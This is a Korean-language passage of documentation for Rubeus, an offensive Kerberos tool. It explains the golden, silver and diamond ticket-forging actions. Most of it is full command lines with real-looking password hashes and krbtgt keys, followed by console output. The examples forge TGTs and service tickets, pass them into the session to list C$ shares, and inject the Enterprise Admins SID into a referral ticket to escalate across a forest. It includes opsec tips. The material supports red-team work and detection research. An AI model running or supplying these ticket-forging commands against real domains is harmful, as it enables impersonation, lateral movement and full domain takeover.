마지막으로, 명령줄에 /netbios 인수가 제공되지 않은 경우, Configuration 컨테이너에서 도메인의 적절한 netbios 이름에 대한 LDAP 쿼리가 이루어져 PAC의 LogonDomainName 필드를 설정합니다. 명령줄에 /ldap 플래그가 제공되지 않고 /netbios 인수도 제공되지 않은 경우, 첫 번째 요소(첫 번째 마침표('.') 이전)가 대문자로 변환되어 사용됩니다.
/printcmd 플래그를 사용하면 현재 티켓을 생성하는 데 사용된 것과 동일한 PAC 정보를 포함하는 다른 티켓을 생성하는 데 필요한 인수를 출력할 수 있습니다. 이는 티켓이 유효한 시간과 관련된 인수는 출력하지 않습니다. 나중에 위조할 티켓의 경우 해당 인수는 달라야 할 가능성이 높기 때문입니다.
golden 액션은 /des:X, /rc4:X, /aes128:X 또는 /aes256:X로 전달된 해시로 티켓을 암호화하고 동일한 키로 ServerChecksum과 KDCChecksum을 생성하여 사용자 /user:X에 대한 TGT를 위조합니다. 필드를 수동으로 설정하는 다양한 인수는 위에 설명되어 있거나 /ldap 플래그를 사용하여 도메인 컨트롤러에서 정보를 자동으로 검색할 수 있습니다.
/oldpac 스위치는 CVE-2021-42287에 대한 응답으로 추가된 새로운 Requestor 및 Attributes PAC_INFO_BUFFER를 제외하는 데 사용할 수 있습니다.
/extendedupndns 스위치는 확장된 UpnDns 요소를 포함합니다. 이는 Flags에 _2_를 추가하고 samaccountname 및 계정 SID를 포함하는 것을 의미합니다.
/rodcNumber:x 매개변수는 kerberos 키 목록 요청을 수행하기 위해 추가되었습니다. 이 매개변수의 값은 읽기 전용 도메인 컨트롤러의 msDS-KrbTgtLink 속성에 지정된 krbtgt_x 다음에 오는 숫자입니다(예: krbtgt_12345의 경우 12345). 이 요청은 /flags:forwardable,renewable,enc_pa_rep를 사용하여 설정할 수 있는 특정 플래그가 필요합니다. 암호화에 사용되는 키(/des:X, /rc4:X, /aes128:X 또는 /aes256:X)는 KRBTGT_x 계정의 키입니다. 자세한 내용은 Elad Shamir의 블로그 게시물 여기에서 확인할 수 있습니다.
/ldap 플래그를 사용하여 정보를 검색하고 /printcmd 플래그를 사용하여 동일한 PAC 정보로 다른 티켓을 위조하는 명령을 출력하는 TGT 위조 예시:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:12:40
[*] StartTime : 29/07/2021 00:12:40
[*] EndTime : 29/07/2021 10:12:40
[*] RenewTill : 05/08/2021 00:12:40
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Printing a command to recreate a ticket containing the information used within this ticket
C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
모든 것을 명령줄에 명시적으로 설정하여 TGT 위조:
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:18:19
[*] StartTime : 29/07/2021 00:18:19
[*] EndTime : 29/07/2021 10:18:19
[*] RenewTill : 05/08/2021 00:18:19
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
서로 다른 날에 시작하고 시작 시간 사이에 1일 간격이 있는 5개의 TGT를 위조(첫 번째는 현재 시작). LDAP를 사용하여 PAC 정보를 가져옴:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:22:38
[*] StartTime : 29/07/2021 00:22:38
[*] EndTime : 29/07/2021 10:22:38
[*] RenewTill : 05/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 30/07/2021 00:22:38
[*] StartTime : 30/07/2021 00:22:38
[*] EndTime : 30/07/2021 10:22:38
[*] RenewTill : 06/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 31/07/2021 00:22:38
[*] StartTime : 31/07/2021 00:22:38
[*] EndTime : 31/07/2021 10:22:38
[*] RenewTill : 07/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 01/08/2021 00:22:38
[*] StartTime : 01/08/2021 00:22:38
[*] EndTime : 01/08/2021 10:22:38
[*] RenewTill : 08/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 02/08/2021 00:22:38
[*] StartTime : 02/08/2021 00:22:38
[*] EndTime : 02/08/2021 10:22:38
[*] RenewTill : 09/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
silver 액션은 사용자 /user:X 및 서비스 /service:SPN에 대한 티켓을 위조하며, /des:X, /rc4:X, /aes128:X 또는 /aes256:X로 전달된 해시로 티켓을 암호화하고 동일한 키로 ServerChecksum을 생성합니다. /krbkey:X 인수가 전달되면 이 키를 사용하여 KDCChecksum 및 TicketChecksum을 생성합니다(서비스가 krbtgt/domain.com이 아니거나 domain.com이 티켓 내에서 사용된 영역(realm)과 다른 경우, 즉 참조 티켓인 경우). 그렇지 않으면 티켓을 암호화하는 데 사용된 것과 동일한 키가 사용됩니다. krbenctype:X가 전달되지 않으면 서비스 키가 사용하는 것과 동일한 암호화 유형이 KDCChecksum 및 TicketChecksum에 사용된다고 가정합니다.
/cname:X 및 /crealm:X 인수를 사용하여 EncTicketPart(티켓의 암호화된 부분) 내에서 해당 필드에 다른 값을 설정할 수 있습니다. 이는 때때로 위임 참조 티켓에서 볼 수 있습니다. /s4uproxytarget:X 및 /s4utransitedservices:SPN1,SPN2,... 인수를 전달하여 S4UDelegationInfo PAC 섹션을 추가할 수 있습니다. 이 섹션은 위임의 최종 대상과 위임이 거쳐간 SPN 목록을 제공합니다./authdata 플래그는 EncTicketPart에 일반 Authorization Data 섹션을 추가하는 데 사용할 수 있습니다. 기본적으로 이는 기본값이 포함된 KERB-LOCAL 섹션과 KERB-AD-RESTRICTION-ENTRY 섹션을 포함합니다.
/nofullpacsig 플래그는 CVE-2022-37967 취약점을 해결하기 위해 도입된 새로운 FullPacChecksum을 제외합니다. 이 서명은 krbtgt 키로 보호되지 않은 모든 티켓에 기본적으로 포함됩니다.
서비스 RC4 암호 해시를 사용하여 사용자 ccob에 대한 cifs/SQL1.rubeus.ghostpack.local 서비스 티켓을 위조하고 적절한 KRBTGT AES256 키로 KDCChecksum 및 TicketChecksum에 서명하며, 대체 자격 증명을 사용하여 LDAP를 통해 PAC 정보를 가져오는 경우:
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
The user name or password is incorrect.
C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=ccob)'
[*] Retrieving group and domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming rubeus.ghostpack.local is the forest root
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1109
[*] Groups : 512,513
[*] ServiceKey : F74B07EB77CAA52B8D227A113CB649A6
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : cifs
[*] Target : SQL1.rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'ccob' to 'cifs/SQL1.rubeus.ghostpack.local'
[*] AuthTime : 29/07/2021 01:00:23
[*] StartTime : 29/07/2021 01:00:23
[*] EndTime : 29/07/2021 11:00:23
[*] RenewTill : 05/08/2021 01:00:23
[*] base64(ticket.kirbi):
doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
bG9jYWw=
[+] Ticket successfully imported!
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
Volume in drive \\SQL1.rubeus.ghostpack.local\c$ has no label.
Volume Serial Number is 1AD6-20BE
Directory of \\SQL1.rubeus.ghostpack.local\c$
15/09/2018 08:19 <DIR> PerfLogs
20/07/2021 18:17 <DIR> Program Files
20/07/2021 18:17 <DIR> Program Files (x86)
21/07/2021 01:53 <DIR> Rubeus
20/07/2021 21:02 <DIR> temp
20/07/2021 22:31 <DIR> Users
20/07/2021 18:18 <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 124,275,159,040 bytes free
신뢰하는 도메인에 대한 리퍼럴 TGT를 위조하고, LDAP를 사용하여 PAC 정보를 검색합니다:
C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=exploitph)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1104
[*] Groups : 513
[*] ServiceKey : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : krbtgt
[*] Target : dev.rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 02:45:54
[*] StartTime : 29/07/2021 02:45:54
[*] EndTime : 29/07/2021 12:45:54
[*] RenewTill : 05/08/2021 02:45:54
[*] base64(ticket.kirbi):
doIFojCCBZ6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIEcqADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
LmxvY2Fs
이 티켓은 asktgs를 사용하여 신뢰하는 도메인에서 서비스 티켓을 요청하는 데 사용할 수 있습니다:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local /ticket:doIFojCCBZ6gAwIBBa...(snip)...NrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: devdc1.dev.rubeus.ghostpack.local (192.168.71.85)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/devdc1.dev.rubeus.ghostpack.local'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(snip)...
ZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : cifs/devdc1.dev.rubeus.ghostpack.local
ServiceRealm : DEV.RUBEUS.GHOSTPACK.LOCAL
UserName : exploitph
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 29/07/2021 02:51:05
EndTime : 29/07/2021 12:45:54
RenewTill : 05/08/2021 02:45:54
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : v1Bnp3plKCePeRpg1hrtYkI7bPDk6vw5uoj5MBNSThw=
부모 도메인 rubeus.ghostpack.local에 대한 [email protected] 리퍼럴 TGT를 위조하고 Enterprise Admins 그룹의 SID를 포함합니다:
C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 /sids:S-1-5-21-3237111427-1607930709-3979055039-519 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Trying to query LDAP using LDAPS for user information on domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=dev.ccob)'
[*] Retrieving domain policy information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-2065789546-4129202522-221898516-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=dev.rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV)
[*] SID : S-1-5-21-2065789546-4129202522-221898516
[*] UserId : 1107
[*] Groups : 513
[*] ExtraSIDs : S-1-5-21-3237111427-1607930709-3979055039-519
[*] ServiceKey : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 03:03:34
[*] StartTime : 29/07/2021 03:03:34
[*] EndTime : 29/07/2021 13:03:34
[*] RenewTill : 05/08/2021 03:03:34
[*] base64(ticket.kirbi):
doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(snip)...
G9zdHBhY2subG9jYWw=
이 리퍼럴 TGT는 asktgs 명령을 사용하여 rubeus.ghostpack.local의 서비스에 대한 서비스 티켓을 요청하고 Enterprise Admins 그룹의 권한을 얻는 데 사용할 수 있습니다:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /ticket:doIF0TCCBc2gAwIBBaE...(snip)...cy5naG9zdHBhY2subG9jYWw=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: pdc1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/pdc1.rubeus.ghostpack.local'
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):
doIF9zCCBfOgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
ZnMbG3BkYzEucnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : cifs/pdc1.rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : dev.ccob
UserRealm : DEV.RUBEUS.GHOSTPACK.LOCAL
StartTime : 29/07/2021 03:04:26
EndTime : 29/07/2021 13:03:34
RenewTill : 05/08/2021 03:03:34
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : lQGdcWT5/cacHGFko3fDJvF9poFK+tH5hctlDN89peY=
C:\Rubeus>dir \\pdc1.rubeus.ghostpack.local\c$
Volume in drive \\pdc1.rubeus.ghostpack.local\c$ has no label.
Volume Serial Number is 3C5F-0EF1
Directory of \\pdc1.rubeus.ghostpack.local\c$
30/06/2021 02:13 <DIR> inetpub
15/09/2018 08:19 <DIR> PerfLogs
09/06/2021 17:45 <DIR> Program Files
09/06/2021 17:45 <DIR> Program Files (x86)
14/07/2021 01:18 <DIR> Rubeus
19/07/2021 20:48 <DIR> temp
30/06/2021 02:14 <DIR> Users
14/07/2021 02:17 <DIR> Windows
0 File(s) 0 bytes
8 Dir(s) 94,901,772,288 bytes free
diamond 작업은 주어진 인수를 사용하여 사용자에 대해 요청된 TGT를 수정하여 다이아몬드 TGT를 위조합니다. 먼저 지정된 사용자 및 암호화 키(/rc4, /aes128, /aes256, 또는 /des)에 대해 TGT가 요청됩니다. 해시 대신 /password 플래그를 사용할 수도 있습니다. 이 경우 /enctype:X는 교환에 대해 RC4를 기본값으로 하며, 옵션으로 des|aes128|aes256을 사용할 수 있습니다. 또는 PKINIT 인증이 /certificate:X 인수로 지원됩니다. PFX 파일 내의 개인 키가 암호로 보호된 경우 이 암호는 /password:X 인수로 전달할 수 있습니다. 마지막으로 /tgtdeleg 플래그를 전달하여 tgtdeleg 트릭을 사용하여 TGT를 요청할 수 있습니다. /krbkey:X 인수는 티켓을 복호화하고, 변경을 수행한 후 재서명하고, 티켓을 다시 암호화하는 데 사용됩니다.
/domain이 지정되지 않으면 컴퓨터의 현재 도메인이 추출되고, /dc가 지정되지 않으면 시스템의 현재 도메인 컨트롤러에 대해 동일하게 수행됩니다. /ptt 플래그는 "티켓 전달(pass-the-ticket)"을 수행하고 결과 Kerberos 자격 증명을 현재 로그온 세션에 적용합니다. /luid:0xA.. 플래그는 현재 로그온 세션 대신 지정된 로그온 세션 ID(상승 필요)에 티켓을 적용합니다.
TGT를 요청하거나 현재 로그온 세션에 적용하기 위해 호스트에서 상승된 권한이 필요하지 않으며, 대상 사용자에 대한 올바른 해시만 있으면 된다는 점에 유의하십시오. 또한 또 다른 opsec 참고 사항: 현재 로그온 세션에는 한 번에 하나의 TGT만 적용할 수 있으므로 /ptt 옵션을 사용할 때 새 티켓이 적용되면 이전 TGT가 지워집니다. 해결 방법은 /createnetonly:C:\X.exe 매개변수(기본적으로 /show 플래그가 지정되지 않으면 프로세스를 숨깁니다)를 사용하거나 티켓을 요청하고 ptt /luid:0xA..로 다른 로그온 세션에 적용하는 것입니다.
